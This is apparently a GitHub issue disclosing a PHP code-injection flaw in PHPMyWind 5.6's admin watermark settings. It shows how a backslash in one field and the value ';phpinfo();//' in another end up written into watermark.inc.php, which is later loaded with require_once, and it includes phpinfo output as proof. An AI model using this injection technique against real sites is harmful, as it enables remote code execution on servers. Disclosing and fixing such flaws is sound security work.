

[Jump to bottom](#)

Open liao10086 opened this issue on Apr 2, 2019 · 2 comments

网站信息配置

[返回](#)

4.submit and visit watermark setting you can see the php code execute



System	Windows NT DESKTOP-508601B 10.0 build 17134 (Windows 10) i586
Build Date	Oct 14 2016 10:15:39
Compiler	MSVC11 (Visual C++ 2012)
Architecture	x86
Configure Command	script /nologo configure.js "--enable-inaphot-build" "--enable-debug-pack" "--disable-zts" "--disable-isapi" "--disable-mssql" "--without-mssql" "--without-pdo-mssql" "--without-pdo-oci" "--with-pdo-oci=/php-sd/oci8/x86/instantclient_12_1/tk8d_shared" "--with-oci8-12c=/php-sd/oci8/x86/instantclient_12_1/tk8d_shared" "--with-enchant=shared" "--enable-object-out-dir=.obj/" "--enable-com-dotnet-shared" "--with-mysql-static" "--without-analyzer" "--with-gd"
Server API	CGIFastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\WINDOWS
Loaded Configuration File	D:\phpStudy\php\php-5.6.27-nts\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20131106
PHP Extension	20131226
Zend Extension	220131226
Zend Extension Build	API220131226.NTS.VC11

because the payload was write in /data/watermark.inc.php

```
php.ini x nginx.conf x 1.php x config.cache.php x watermark.inc.php x
1 <?php → if (!defined('IN_PHPMYWIND')) .exit('Request.Error!');
2
3 $cfg_markswitch.='Y';
4 $cfg_marktype.='1';
5 $cfg_markminwidth.='100';
6 $cfg_markminheight.='100';
7 $cfg_markpicurl.='data/watermark/watermark.png';
8 $cfg_marktext.='xxx\';
9 $cfg_markcolor.=';phpinfo();//';
10 $cfg_marksize.='48';
11 $cfg_markwhere.='9';
12
13 ?>
```

the watermark.inc.php was include by require_once so php code execute

```
/Users/liao/Downloads/PHPMyWind-master/admin/plugin/jcrop/index.php:
... 16 ...
... 17 //引入水印文件
... 18: require_once(PHPMYWIND_DATA.'/watermark/watermark.inc.php');
... 19 ...
... 20 ?>

/Users/liao/Downloads/PHPMyWind-master/admin/plugin/uploadify/index.php:
... 109 ...
... 110 //引入水印配置文件
... 111: require_once(PHPMYWIND_DATA.'/watermark/watermark.inc.php');
... 112 ...
... 113 ?>

/Users/liao/Downloads/PHPMyWind-master/admin/web_config.php:
```

suggest:
replace ' ,;(:)

version:5.6
author by xijun.liao@dbappsecurity.com.cn

I hope you can fix it

Assignees

No one assigned

Labels

None yet

Projects

None yet


Milestone

No milestone

Development

No branches or pull requests

2 participants

 and others